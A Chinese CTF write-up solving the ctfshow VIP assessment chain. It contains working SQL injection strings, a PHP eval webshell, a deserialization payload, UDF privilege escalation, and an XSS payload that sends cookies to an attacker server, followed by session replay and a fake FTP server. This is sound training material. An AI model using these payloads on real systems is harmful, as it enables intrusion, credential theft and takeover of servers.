CTFSHOW VIP考核

常规的信息收集

扫描端口 仅仅开放了22 8080 443端口

扫描目录ctfshow考核 - 图1

访问robots.txt 发现了source.txt 访问 发现源码泄露

ctfshow考核 - 图2

信息收集完毕 开始!!!

开局一个flag shell全靠懵

ctfshow考核 - 图3

点击开始探索 转到page.php

搜索半天并没有什么东西

查看原始页面源代码 发现system36d目录

ctfshow考核 - 图4

访问又一个flag

ctfshow考核 - 图5

点击登录

ctfshow考核 - 图6

抓不到包,应该是前端所控制

右键源代码查看js文件

ctfshow考核 - 图7

密码为0x36D 登录

发现flag

ctfshow考核 - 图8

登陆后 点击数据备份

下载文件 发现flag

ctfshow考核 - 图9

发现RCE模块 执行ls命令

ctfshow考核 - 图10

发现secret.txt 访问之

发现一串url编码

ctfshow考核 - 图11

解码

ctfshow考核 - 图12

发现flag
利用645的flag 进行远程更新 发现任意文件读取 读取main.php
1.png
根据包含信息 读取**system36d/util/auth.php**文件
再次读取**system36d/init.php**3.png
发现FLAG 646
查看**system36d/checklogin.php system36d/users.php**
checklogin.php

  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date: 2021-07-25 16:59:18
  6. # @Last Modified by: h1xa
  7. # @Last Modified time: 2021-07-25 17:01:58
  8. # @email: h1xa@ctfer.com
  9. # @link: https://ctfer.com
  10. */
  11. error_reporting(0);
  12. session_start();
  13. $s=$_GET['s'];
  14. setcookie('uid',intval($s));
  15. $_SESSION['user_id']=intval($s);
  16. header('location:main.php');

users.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-07-26 10:25:59
# @Last Modified by:   h1xa
# @Last Modified time: 2021-08-01 01:52:58
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();
include 'init.php';

$a=$_GET['action'];


$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
    case 'list':
        $ret = getUsers($data,intval($_GET['page']),intval($_GET['limit']));
        break;
    case 'add':
        $ret = addUser($data,$_GET['username'],$_GET['password']);
        break;
    case 'del':
        $ret = delUser($data,$_GET['username']);
        break;
    case 'update':
        $ret = updateUser($data,$_GET['username'],$_GET['password']);
        break;
    case 'backup':
        backupUsers();
        break;
    case 'upload':
        $ret = recoveryUsers();
        break;
    case 'phpInfo':
        $ret = phpInfoTest();
        break;
    case 'netTest':
        $ret = netTest($_GET['cmd']);
        break;
    case 'remoteUpdate':
        $ret = remoteUpdate($_GET['auth'],$_GET['update_address']);
        break;
    case 'authKeyValidate':
        $ret = authKeyValidate($_GET['auth']);
        break;
    case 'evilString':
        evilString($_GET['m']);
        break;
    case 'evilNumber':
        evilNumber($_GET['m'],$_GET['key']);
        break;
    case 'evilFunction':
        evilFunction($_GET['m'],$_GET['key']);
        break;
    case 'evilArray':
        evilArray($_GET['m'],$_GET['key']);
        break;
    case 'evilClass':
        evilClass($_GET['m'],$_GET['key']);
        break;
    default:
        $ret = json_encode(array(
        'code'=>0,
        'message'=>'数据获取失败',
        ));
        break;
}

echo $ret;



function getUsers($data,$page=1,$limit=10){
    $ret = array(
        'code'=>0,
        'message'=>'数据获取成功',
        'data'=>array()
    );


    $isadmin = '否';
    $pass = '';
    $content='无';

    $users = explode('|', $data);
    array_pop($users);
    $index = 1;

    foreach ($users as $u) {
        if(explode('@', $u)[0]=='admin'){
            $isadmin = '是';
            $pass = 'flag就是管理员的密码,不过我隐藏了';
            $content = '删除此条记录后flag就会消失';
        }else{
            $pass = explode('@', $u)[1];
        }
        array_push($ret['data'], array(
            'id'=>$index,
            'username'=>explode('@', $u)[0],
            'password'=>$pass,
            'isAdmin'=>$isadmin,
            'content'=>$content
        ));
        $index +=1;
    }
    $ret['count']=$index;
    $start = ($page-1)*$limit;
    $ret['data']=array_slice($ret['data'], $start,$limit,true);

    return json_encode($ret);

}

function addUser($data,$username,$password){
    $ret = array(
        'code'=>0,
        'message'=>'添加成功'
    );
    if(existsUser($data,$username)==0){
        $s = $data.$username.'@'.$password.'|';
        file_put_contents(DB_PATH, $s);

    }else{
        $ret['code']=-1;
        $ret['message']='用户已存在';
    }

    return json_encode($ret);
}

function updateUser($data,$username,$password){
    $ret = array(
        'code'=>0,
        'message'=>'更新成功'
    );
    if(existsUser($data,$username)>0 && $username!='admin'){
        $s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', $username.'@'.$password.'|', $data);
        file_put_contents(DB_PATH, $s);

    }else{
        $ret['code']=-1;
        $ret['message']='用户不存在或无权更新';
    }

    return json_encode($ret);
}

function delUser($data,$username){
    $ret = array(
        'code'=>0,
        'message'=>'删除成功'
    );
    if(existsUser($data,$username)>0 && $username!='admin'){
        $s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data);
        file_put_contents(DB_PATH, $s);

    }else{
        $ret['code']=-1;
        $ret['message']='用户不存在或无权删除';
    }

    return json_encode($ret);

}

function existsUser($data,$username){
    return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data);
}

function backupUsers(){
    $file_name = DB_PATH;
    if (! file_exists ($file_name )) {    
        header('HTTP/1.1 404 NOT FOUND');  
    } else {    
        $file = fopen ($file_name, "rb" ); 
        Header ( "Content-type: application/octet-stream" ); 
        Header ( "Accept-Ranges: bytes" );  
        Header ( "Accept-Length: " . filesize ($file_name));  
        Header ( "Content-Disposition: attachment; filename=backup.dat");     
        echo str_replace(FLAG645, 'flag就在这里,可惜不能给你', fread ( $file, filesize ($file_name)));    
        fclose ( $file );    
        exit ();    
    }
}

function getArray($total, $times, $min, $max)
    {
        $data = array();
        if ($min * $times > $total) {
            return array();
        }
        if ($max * $times < $total) {
            return array();
        }
        while ($times >= 1) {
            $times--;
            $kmix = max($min, $total - $times * $max);
            $kmax = min($max, $total - $times * $min);
            $kAvg = $total / ($times + 1);
            $kDis = min($kAvg - $kmix, $kmax - $kAvg);
            $r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
            $k = round($kAvg + $r);
            $total -= $k;
            $data[] = $k;
        }
        return $data;
 }


function recoveryUsers(){
    $ret = array(
        'code'=>0,
        'message'=>'恢复成功'
    );
    if(isset($_FILES['file']) && $_FILES['file']['size']<1024*1024){
        $file_name= $_FILES['file']['tmp_name'];
        $result = move_uploaded_file($file_name, DB_PATH);
        if($result===false){
            $ret['message']='数据恢复失败 file_name'.$file_name.' DB_PATH='.DB_PATH;
        }

    }else{
        $ret['message']='数据恢复失败';
    }

    return json_encode($ret);
}

function phpInfoTest(){
    return phpinfo();

}

function authKeyValidate($auth){
    $ret = array(
        'code'=>0,
        'message'=>$auth==substr(FLAG645, 8)?'验证成功':'验证失败',
        'status'=>$auth==substr(FLAG645, 8)?'0':'-1'
    );
    return json_encode($ret);
}

function remoteUpdate($auth,$address){
    $ret = array(
        'code'=>0,
        'message'=>'更新失败'
    );

    if($auth!==substr(FLAG645, 8)){
        $ret['message']='权限key验证失败';
        return json_encode($ret);
    }else{
        $content = file_get_contents($address);
        $ret['message']=($content!==false?$content:'地址不可达');
    }

    return json_encode($ret);


}

function evilString($m){
    $key = '372619038';
    $content = call_user_func($m);
    if(stripos($content, $key)!==FALSE){
        echo shell_exec('cat /FLAG/FLAG647');
    }else{
        echo 'you are not 372619038?';
    }

}

function evilClass($m,$k){
    class ctfshow{
        public $m;
        public function construct($m){
            $this->$m=$m;
        }
    }

    $ctfshow=new ctfshow($m);
    $ctfshow->$m=$m;
    if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){
        echo shell_exec('cat /FLAG/FLAG648');
    }else{
        echo 'mmmmm?';
    }

}

function evilNumber($m,$k){
    $number = getArray(1000,20,10,999);
    if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){
        echo shell_exec('cat /FLAG/FLAG649');
    }else{
        echo 'number is right?';
    }
}

function evilFunction($m,$k){
    $key = 'ffffffff';
    $content = call_user_func($m);
    if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){
        echo shell_exec('cat /FLAG/FLAG650');
    }else{
        echo 'you are not ffffffff?';
    }
}

function evilArray($m,$k){
    $arrays=unserialize($m);
    if($arrays!==false){
        if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) &&  $k==shell_exec('cat /FLAG/FLAG650')){
            echo shell_exec('cat /FLAG/FLAG651');
        }else{
            echo 'array?';
        }
    }
}

function netTest($cmd){
    $ret = array(
        'code'=>0,
        'message'=>'命令执行失败'
    );

    if(preg_match('/^[A-Za-z]+$/', $cmd)){
        $res = shell_exec($cmd);
        stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
    }

    return json_encode($ret);
}

**evilString**函数

function evilString($m){
    $key = '372619038';
    $content = call_user_func($m);
    if(stripos($content, $key)!==FALSE){
        echo shell_exec('cat /FLAG/FLAG647');
    }else{
        echo 'you are not 372619038?';
    }

}

利用 checklogin.php cookie中的uid 赋值

http://ip/system36d/checklogin.php?s=372619038

访问

http://ip/system36d/users.php?action=evilString&m=session_encode

得到FLAG 6475.png

FLAG 648

function evilClass($m,$k){
    class ctfshow{
        public $m;
        public function construct($m){
            $this->$m=$m;
        }
    }

    $ctfshow=new ctfshow($m);
    $ctfshow->$m=$m;
    if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){
        echo shell_exec('cat /FLAG/FLAG648');
    }else{
        echo 'mmmmm?';
    }

}

可变变量覆盖

/system36d/users.php?action=evilClass&m=huahua&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}

6.png

FLAG 649

function evilNumber($m,$k){
    $number = getArray(1000,20,10,999);
    if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){
        echo shell_exec('cat /FLAG/FLAG649');
    }else{
        echo 'number is right?';
    }
}

查看getArray函数

function getArray($total, $times, $min, $max)
    {
        $data = array();
        if ($min * $times > $total) {
            return array();
        }
        if ($max * $times < $total) {
            return array();
        }
        while ($times >= 1) {
            $times--;
            $kmix = max($min, $total - $times * $max);
            $kmax = min($max, $total - $times * $min);
            $kAvg = $total / ($times + 1);
            $kDis = min($kAvg - $kmix, $kmax - $kAvg);
            $r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
            $k = round($kAvg + $r);
            $total -= $k;
            $data[] = $k;
        }
        return $data;
 }

不给m赋值

/system36d/users.php?action=evilNumber&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}

7.png

FLAG 650

function evilFunction($m,$k){
    $key = 'ffffffff';
    $content = call_user_func($m);
    if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){
        echo shell_exec('cat /FLAG/FLAG650');
    }else{
        echo 'you are not ffffffff?';
    }
}

利用PHPSESSID

/system36d/users.php?action=evilFunction&m=session_id&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}

8.png

FLAG 651

function evilArray($m,$k){
    $arrays=unserialize($m);
    if($arrays!==false){
        if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) &&  $k==shell_exec('cat /FLAG/FLAG650')){
            echo shell_exec('cat /FLAG/FLAG651');
        }else{
            echo 'array?';
        }
    }
}

定义和用法
array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
get_object_vars — 返回由对象属性组成的关联数组

<?php
class huahua{
    public $username='huahua';
    public $huahua='ctfshow';
}
echo serialize(new huahua());
?>
/system36d/users.php?action=evilArray&m=O:6:"huahua":2:{s:8:"username";s:6:"huahua";s:6:"huahua";s:7:"ctfshow";}&key=flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}

这里利用到了不完整的类的知识点 如下图 具体可查看__PHP_Incomplete_Class【安恒某题】9.png

FLAG 652

读取page.php页面

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-07-25 16:22:25
# @Last Modified by:   h1xa
# @Last Modified time: 2021-07-25 16:22:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include __DIR__.DIRECTORY_SEPARATOR.'system36d/util/dbutil.php';

$id = isset($_GET['id'])?$_GET['id']:'1';

//转义' " \ 来实现防注入
$id = addslashes($id);

$name = db::get_username($id);
?>

根据包含文件读取**system36d/util/dbutil.php**

<?php

class db{
    private static $host='localhost';
    private static $username='root';
    private static $password='root';
    private static $database='ctfshow';
    private static $conn;

    public static function get_key(){
        $ret = '';
        $conn = self::get_conn();
        $res = $conn->query('select `key` from ctfshow_keys');
        if($res){
            $row = $res->fetch_array(MYSQLI_ASSOC);
        }
        $ret = $row['key'];
        self::close();
        return $ret;
    }

    public static function get_username($id){
        $ret = '';
        $conn = self::get_conn();
        $res = $conn->query("select `username` from ctfshow_users where id = ($id)");
        if($res){
            $row = $res->fetch_array(MYSQLI_ASSOC);
        }
        $ret = $row['username'];
        self::close();
        return $ret;
    }

    private static function get_conn(){
        if(self::$conn==null){
            self::$conn = new mysqli(self::$host, self::$username, self::$password, self::$database);
        }
        return self::$conn;
    }

    private static function close(){
        if(self::$conn!==null){
            self::$conn->close();
        }
    }

}

可以看到并无单引号保护 直接闭合注入

    public static function get_username($id){
        $ret = '';
        $conn = self::get_conn();
        $res = $conn->query("select `username` from ctfshow_users where id = ($id)");
        if($res){
            $row = $res->fetch_array(MYSQLI_ASSOC);
        }
        $ret = $row['username'];
        self::close();
        return $ret;
    }

成功回显
10.png

?id=-1) union select (select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77) where 1=(1
?id=-1) union select (select group_concat(column_name) from information_schema.columns where table_name=0x63746673686f775f736563726574) where 1=(1
?id=-1) union select (select secret from ctfshow_secret) where 1=(1
?id=-1) union select (select `key` from ctfshow_keys) where 1=(1 
//key_is_here_you_know
//flag_652=ctfshow{4b37ab4b6504d43ea0de9a688f0e3ffa}

FLAG 653

利用**system36d/init.php**得提示信息 读取 **system36d/util/common.php** 文件

<?php

include 'dbutil.php';
if($_GET['k']!==shell_exec('cat /FLAG/FLAG651')){
    die('651flag未拿到');
}
if(isset($_POST['file']) && file_exists($_POST['file'])){
    if(db::get_key()==$_POST['key']){
        include __DIR__.DIRECTORY_SEPARATOR.$_POST['file'];
    }
}

新增用户这里 添加一句话木马 12.png
利用文件包含 进行包含 写马

/system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}


key=key_is_here_you_know&file=../db/data_you_never_know.db&1=shell_exec('echo "<?php eval(\$_POST[1]);?>" > /var/www/html/system36d/shell.php');

11.png
蚁剑连接
13.png
14.png

FLAG 654

查看配置目录 发现**sudoers.bak**
15.png
打开
16.png
mysql为特权用户
利用udf提权 详情查看
上传一个udf.so 到mysql扩展目录
先上传到/tmp目录下
再利用cp ./tmp/udf.so /usr/lib/mariadb/plugin 上传到mysql扩展文件夹中(这里无法利用mysql上传 mysql上传需要开启某个配置文件)
创建自定义函数
19.png

成功提权到root
20.png
21.png
flag_654=ctfshow{4ab2c2ccd0c3c35fdba418d8502f5da9}
FLAG 655
查看网卡信息 sudo ifconfig

eth0      Link encap:Ethernet  HWaddr 02:42:AC:02:CC:04  
          inet addr:172.2.204.4  Bcast:172.2.204.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1450  Metric:1
          RX packets:336 errors:0 dropped:0 overruns:0 frame:0
          TX packets:248 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:191672 (187.1 KiB)  TX bytes:854857 (834.8 KiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:541 errors:0 dropped:0 overruns:0 frame:0
          TX packets:541 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:251716 (245.8 KiB)  TX bytes:251716 (245.8 KiB)

发现**172.2.204.5**主机存活
**sudo ping 172.2.204.5 -c 1**

PING 172.2.204.5 (172.2.204.5): 56 data bytes
64 bytes from 172.2.204.5: seq=0 ttl=64 time=0.097 ms

--- 172.2.204.5 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.097/0.097/0.097 ms

访问其80端口
**select sys_eval("sudo curl http://172.2.204.5")**
发现发生变化证明其中存在
1.png
发现其存在phpinfo.php和www.zip
访问phpinfo.php 获得flag
**flag_655=ctfshow{aada21bce99ddeab20020ac714686303}**
FLAG 656
将www.zip下载到本地机器
2.png
下载成功
访问 下载到自己电脑上
发现一个index.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-08-04 15:54:48
# @Last Modified by:   h1xa
# @Last Modified time: 2021-08-05 00:43:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include 'dbutil.php';
include 'flag.php';

error_reporting(0);
session_start();


$a=$_GET['action'];

switch ($a){
    case 'login':
        $ret = login($_GET['u'],$_GET['p']);
        break;
    case 'index':
        $ret = index();
        break;
    case 'main':
        $ret = main($_GET['m']);
        break;
    default:
         $ret = json_encode(array(
        'code'=>0,
        'message'=>'数据获取失败',
        ));
        break;
}


echo $ret;


function index(){
    $html='管理员请注意,下面是最近登陆失败用户:<br>';
    $ret=db::query('select username,login_time,login_ip from ctfshow_logs  order by id desc limit 3');
    foreach ($ret as $r) {
        $html .='------------<br>用户名: '.htmlspecialchars($r[0]).'<br>登陆失败时间: '
        .$r[1]
        .'<br>登陆失败IP: '
        .$r[2].
        '<br>------------<br>';
    }
    return $html;

}

function login($u,$p){
    $ret = array(
    'code'=>0,
    'message'=>'数据获取失败',
    );
    $u = addslashes($u);
    $p = addslashes($p);
    $res = db::query("select username from ctfshow_users where username = '$u' and password = '$p'");
    $date = new DateTime('now');
    $now = $date->format('Y-m-d H:i:s');
    $ip = addslashes(gethostbyname($_SERVER['HTTP_X_FORWARDED_FOR']));


    if(count($res)==0){
          db::insert("insert into `ctfshow_logs` (`username`,`login_time`,`login_ip`) values ('$u','$now','$ip')");
         $ret['message']='账号或密码错误';
         return json_encode($ret);
    }

    if(!auth()){
        $ret['message']='AuthKey 错误';
    }else{
        $ret['message']='登陆成功';
        $_SESSION['login']=true;
        $_SESSION['flag_660']=$_GET['flag'];
    }

    return json_encode($ret);


}

function auth(){
    $auth = base64_decode($_COOKIE['auth']);
    return $auth==AUTH_KEY;
}

function getFlag(){
    return  FLAG_657;
}

function testFile($f){
    $result = '';
    $file = $f.md5(md5(random_int(1,10000)).md5(random_int(1,10000))).'.php';
    if(file_exists($file)){
        $result = FLAG_658;
    }
    return $result;

}


function main($m){
    $ret = array(
    'code'=>0,
    'message'=>'数据获取失败',
    );
    if($_SESSION['login']==true){

        switch ($m) {
            case 'getFlag':
                $ret['message']=getFlag();
                break;
            case 'testFile':
                $ret['message']=testFile($_GET['f']);
                break;
            default:
                # code...
                break;
        }


    }else{
        $ret['message']='请先登陆';
    }

    return json_encode($ret);
}

漏洞函数关键位置

function index(){
    $html='管理员请注意,下面是最近登陆失败用户:<br>';
    $ret=db::query('select username,login_time,login_ip from ctfshow_logs  order by id desc limit 3');
    foreach ($ret as $r) {
        $html .='------------<br>用户名: '.htmlspecialchars($r[0]).'<br>登陆失败时间: '
        .$r[1]
        .'<br>登陆失败IP: '
        .$r[2].
        '<br>------------<br>';
    }
    return $html;

}
    ......
    ......
    ......
function login($u,$p){
    $ret = array(
    'code'=>0,
    'message'=>'数据获取失败',
    );
    $u = addslashes($u);
    $p = addslashes($p);
    $res = db::query("select username from ctfshow_users where username = '$u' and password = '$p'");
    $date = new DateTime('now');
    $now = $date->format('Y-m-d H:i:s');
    $ip = addslashes(gethostbyname($_SERVER['HTTP_X_FORWARDED_FOR']));


    if(count($res)==0){
          db::insert("insert into `ctfshow_logs` (`username`,`login_time`,`login_ip`) values ('$u','$now','$ip')");
         $ret['message']='账号或密码错误';
         return json_encode($ret);
    }

第8行 $r[2]没有进行html编码 导致xss 并且 $r[2]变量可控
具体位置如下

$ip = addslashes(gethostbyname($_SERVER['HTTP_X_FORWARDED_FOR']));

用curl发送一个失败的请求 存入数据库 并返回页面
先在服务器A设置一个接收脚本 c.php

<?php file_put_contents("c.txt",$_GET['s']);

过滤了单双引号 用**String.fromCharCode**绕过即可

<script>window.location.href=String.fromCharCode(104,116,116,112,58,47,47,119,101,98,47,49,46,112,104,112,63,115,61)+document.cookie;</script>
curl -H "X-Forwarded-For:<script>window.location.href=String.fromCharCode(104,116,116,112,58,47,47,49,55,50,46,50,46,53,54,46,52,47,99,46,112,104,112,63,115,61)+document.cookie;</script>" http://172.2.56.5/index.php?action=login&u=huahua&p=huahua
select sys_eval('sudo curl -H "X-Forwarded-For:<script>window.location.href=String.fromCharCode(104,116,116,112,58,47,47,49,55,50,46,50,46,53,54,46,52,47,99,46,112,104,112,63,115,61)+document.cookie;</script>" http://172.2.56.5/index.php?action=login&u=huahua&p=huahua');

利用 js 返回ascii编码后的字符

var a = "http://172.2.56.4/c.php?s=";
var b = ''
for(var i=0;i<a.length;i++){
    b+= a[i].charCodeAt()+' '
}
console.log(b)

成功返回 解密auth就是flag3.png
**flag_656=ctfshow{e0b80d6b99d2bdbae36f121f78abe96b}**
FLAG 657
定位漏洞函数位置

function getFlag(){
    return  FLAG_657;
}
...
...
...
function main($m){
    $ret = array(
    'code'=>0,
    'message'=>'数据获取失败',
    );
    if($_SESSION['login']==true){

        switch ($m) {
            case 'getFlag':
                $ret['message']=getFlag();
                break;
            case 'testFile':
                $ret['message']=testFile($_GET['f']);
                break;
            default:
                # code...
                break;
        }


    }else{
        $ret['message']='请先登陆';
    }

    return json_encode($ret);
}

刚才用xss盗取了管理的cookie 直接冒充一波

PHPSESSID=o0dklrshp8olh0p3jak1u9bn6d; auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0=


curl -b 'PHPSESSID=o0dklrshp8olh0p3jak1u9bn6d' http://172.2.56.4/index.php?action=main&m=getFlag
select sys_eval('sudo curl --cookie "PHPSESSID=o0dklrshp8olh0p3jak1u9bn6d;" "http://172.2.56.5/index.php?action=main&m=getFlag"');

**flag_657=ctfshow{2a73f8f87a58a13c23818fafd83510b1}**
FLAG 658
漏洞关键位置

function testFile($f){
    $result = '';
    $file = $f.md5(md5(random_int(1,10000)).md5(random_int(1,10000))).'.php';
    if(file_exists($file)){
        $result = FLAG_658;
    }
    return $result;

}

这里用ftp伪造文件来进行绕过**file_exists**函数
**file_exists**函数支持ftp协议
本地起一个ftp服务
ftp.py

# -*- coding: utf-8 -*-
# @Author: h1xa# @Date:   2021-08-05 03:01:47
# @Last Modified by:   h1xa
# @Last Modified time: 2021-08-07 18:24:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 21))
s.listen(1)
print('listening 0.0.0.0 21\n')
conn, addr = s.accept()
conn.send(b'220 \n')
conn.send(b'230 \n')
conn.send(b'200 \n')
conn.send(b'200 \n')
conn.send(b'200 \n')
conn.send(b'200 \n')
conn.send(b'200 \n')
conn.send(b'200 \n')
conn.close()

**python ftp.py**
**php ftp.php**
4.png
成功绕过

用 socket 来起一个ftp服务器,伪造ftp协议中传输的数据,使对方认为你的文件存在
他不是随机的么,没办法确定,所以在交互的协议里来欺骗对方

5.png
将ftp.py上传到服务器A
在用服务器A去访问服务器B绕过**file_exists**函数
监听21端口
**python3 ftp.py**
curl 模拟请求进行访问
**select sys_eval('sudo curl --cookie "PHPSESSID=4nhd18sr54e0qtsaim4d5b063b;" "http://**172.2.13.5**/index.php?action=main&m=testFile&f=ftp://**172.2.13.4:21**/"');**
6.png
**flag_658=ctfshow{98555a97cb23e7413d261142e65a674f}**

FLAG 659

扫描目录
得到/robots.txt
7.png
访问/public/
8.png

<html>
<head><title>Index of /public/</title></head>
<body>
<h1>Index of /public/</h1><hr><pre><a href="../">../</a>
<a href="Readme.txt">Readme.txt</a>                                         07-Aug-2021 19:51                 123
</pre><hr></body>
</html>

访问/public/Readme.txt
9.png

这里存在nginx目录穿越